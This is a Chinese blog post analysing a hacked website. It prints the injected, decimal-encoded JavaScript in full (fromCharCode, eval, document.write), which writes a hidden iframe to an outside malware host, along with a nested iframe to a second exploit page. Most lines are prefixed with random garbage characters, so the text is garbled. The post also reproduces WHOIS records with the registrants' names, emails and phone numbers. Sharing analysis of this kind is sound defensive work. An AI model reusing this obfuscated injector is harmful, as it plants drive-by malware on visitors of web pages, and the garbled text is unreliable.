首发在我的博客里面，
Q*$x!q xKsn);].` http://www.areway.cn/?p=175 X?r JO~5 XrSqU D l W&glU( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
p fAp2" 8qBRO [ <script>t=’60,105,102,114,97,109,101,
]RnX'yw^ 32,115,114,99,61,104,116,116,112,58,47,47,
*/\dH< 102,114,101,101,46,117,45,117,117,117,46,99,
RWA|%/ L 110,47,101,114,114,111,114,46,104,116,109,
{LJCY<IGq 32,119,105,100,116,104,61,49,48,48,32,104,
oF
V9t{~j 101,105,103,104,116,61,48,62,60,47,105,102,
/q='~t 114,97,109,101,62′;
6mdJ
=b# t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Mw 'd<{ :g<dwuVO <script>t=’60,105,102,114,97,109,101,32,115,
AH=6xtS- 114,99,61,104,116,116,112,58,47,47,102,114,
Y<#7E;aL 101,101,46,117,45,117,117,117,46,99,110,47,
XfbkK )d 101,114,114,111,114,46,104,116,109,32,119,
h"%6tp V- 105,100,116,104,61,49,48,48,32,104,101,105,
tGmyTBgx 103,104,116,61,48,62,60,47,105,102,114,97,
L/nz95 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
; p\rgam document.write(t);</script>
L1)? 5D >R ! ^aJ <html xmlns=”
D>*%zz| http://www.w3.org/1999/xhtml y''? yr “>
^@X
=v`C <head>
Pn 7oQ A\ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
d :sU h <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Gq-U}r <title>首页 - 爱生活家庭网
z8z U3? wm2Q(l*HH 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(nda!^f_s 转换字符串后的大概内容是（谁点击后果自付）：
jIdhmd* $z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
,PN>,hFL ={maCYlE. 查询玉米u-uuu.cn的详细信息：
DU1,i&( Domain Name: u-uuu.cn
!JYDg ROID: 20070901s10001s64972306-cn
[U3z*m>e; Domain Status: ok
sFS_CyN!7 Registrant Organization: 王雷
&V gjd> Registrant Name: 王雷
2
H^9Qd Administrative Email:
czlovexs@126.com $8i t&/JP, Sponsoring Registrar: 北京万网志成科技有限公司
f "Iv Name Server:ns.yovole.com
M;Vx[s,#, Name Server:ns1.yovole.com
d\Dxmb]o Registration Date: 2007-09-01 17:54
6oUT+^z# Expiration Date: 2008-09-01 17:54
ol `]6"Sc 最后PING了一下地址 都没有什么….
^Gs!" Y PrN?;Z. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
k, v.U8 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
kFk+TXLDIt <script language=”javascript” src=”
$g| g}>Sc http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script nh9K( >
|Z2_1(
ku 这个玉米应该有可能是木马作者的：
/[EI0 ~P foafau.info的详细信息：
7%w4?Nv3I Access to INFO WHOIS information is provided to assist persons in
Wdy2;a<\ { determining the contents of a domain name registration record in the
mbS
&> Afilias registry database. The data in this record is provided by
A H#e>kU^ Afilias Limited for informational purposes only, and Afilias does not
kP;Rts8JD guarantee its accuracy. This service is intended only for query-based
z5Nw+#m|
i access. You agree that you will use this data only for lawful purposes
D]oS R7h and that, under no circumstances will you use this data to: (a) allow,
$k!@e M/R enable, or otherwise support the transmission by e-mail, telephone, or
.-Ao%A W facsimile of mass unsolicited, commercial advertising or solicitations
)UJ]IB-Q|1 to entities other than the data recipient’s own existing customers; or
^jCkM29eu (b) enable high volume, automated, electronic processes that send
8:M~m]Z+| queries or data to the systems of Registry Operator, a Registrar, or
(4c<0<"$ Afilias except as reasonably necessary to register domain names or
UJ6WrO5#kB modify existing registrations. All rights reserved. Afilias reserves
NWNgh/9? the right to modify these terms at any time. By submitting this query,
i!,> 3 you agree to abide by this policy.
g?@( +\W Domain ID:D22418703-LRMS
Z.R^@@RqJ Domain Name:FOAFAU.INFO
< ,cD EN7 Created On:20-Nov-2007 16:05:42 UTC
8@$QN4^u^ Last Updated On:20-Nov-2007 16:05:44 UTC
lXz<jt@5 Expiration Date:20-Nov-2008 16:05:42 UTC
cIgFSwQ 4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
jJ?3z ,h Status:CLIENT DELETE PROHIBITED
J-,T^W v Status:CLIENT RENEW PROHIBITED
bq
~'jg^# Status:CLIENT TRANSFER PROHIBITED
l_}c[bAUu Status:CLIENT UPDATE PROHIBITED
c8}1-MKs_R Status:TRANSFER PROHIBITED
a<\m`
Es= Registrant ID:GODA-040110615
@ObsW!g Registrant Name:liu hong
p(x[zn+%Y Registrant Organization:
fwl
RwH( Registrant Street1:beijing
"ht2X
w Registrant Street2:
7x1jpQ - Registrant Street3:
e 94csTh= Registrant City:beijing
aX
?ON Registrant State/Province:
~KX!i
8+X Registrant Postal Code:100000
I PT}JX' Registrant Country:CN
St(7@)gvY Registrant Phone:+86.860108888777
s}HT x Y ; Registrant Phone Ext.:
zizrc.g/Yg Registrant FAX:
0q62 {p7 Registrant FAX Ext.:
WnIh (
0 Registrant Email:bbbshiji@163.com
E26ZVFg Admin ID:GODA-240110615
1[}VyP6 e Admin Name:liu hong
fitm* Admin Organization:
ke/o11LP Admin Street1:beijing
f 8uVk|a Admin Street2:
v4S|&m Admin Street3:
'rCwPsI&4 Admin City:beijing
8} S|iM Admin State/Province:
x&?35B
i Admin Postal Code:100000
Ii,L 6c Admin Country:CN
N:&Gv'` Admin Phone:+86.860108888777
k' u2a Admin Phone Ext.:
0,VbB7 z Admin FAX:
u37+B Admin FAX Ext.:
%_/_klxnO Admin Email:bbbshiji@163.com
?EtK/6dJZt Billing ID:GODA-340110615
4l z9z>J.V Billing Name:liu hong
2 K`
hH Billing Organization:
$%!]tNGS Billing Street1:beijing
NVOY,g=3X Billing Street2:
u/,m2N9cL Billing Street3:
jN B-FVaT Billing City:beijing
,D#~% kq~ Billing State/Province:
w1iQ#.4K_ Billing Postal Code:100000
9RAN$\AKy Billing Country:CN
pRY t.}/K Billing Phone:+86.860108888777
7W 4[1 Billing Phone Ext.:
sM-k,0z Billing FAX:
,>e<mphM Billing FAX Ext.:
?N`W, Billing Email:bbbshiji@163.com
]i{-@Ven Tech ID:GODA-140110615
[z Y9"B<3 Tech Name:liu hong
Y%S az+ Tech Organization:
Lo ! kv* Tech Street1:beijing
7j@TW%FmV\ Tech Street2:
ThFI=K Tech Street3:
R2r0' Yx Tech City:beijing
aA\v
Tech State/Province:
|~uCLf> Tech Postal Code:100000
L-$GQGk{ Tech Country:CN
*!B,|]wq= Tech Phone:+86.860108888777
^IC|3sr Tech Phone Ext.:
GV%ibqOpQj Tech FAX:
:x16N |z Tech FAX Ext.:
|*8 J.H*r Tech Email:bbbshiji@163.com
`+i<:,z-gs Name Server:NS27.DOMAINCONTROL.COM
U${dWxC Name Server:NS28.DOMAINCONTROL.COM
&:Raf5G-E Name Server:
.PF~8@1ju Name Server:
m:K/ )v* Name Server:
SVeL c Name Server:
zvSfW#
* Name Server:
E*k=8$Y Name Server:
G0<m3 Up Name Server:
ek3/`]V: Name Server:
539[,jH Name Server:
ga!t:O@w Name Server:
6&h,eQ! Name Server:
QDLtilf : |nv8&L8 接着下载每个文件里面的代码：
m[%&K W( 一步一步看..
ve'h z{W 
d+z8^$z" 
OCF= )#}qd 
a ^|mF#
z 
0urQA_JC 
fF<~2MiKw 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
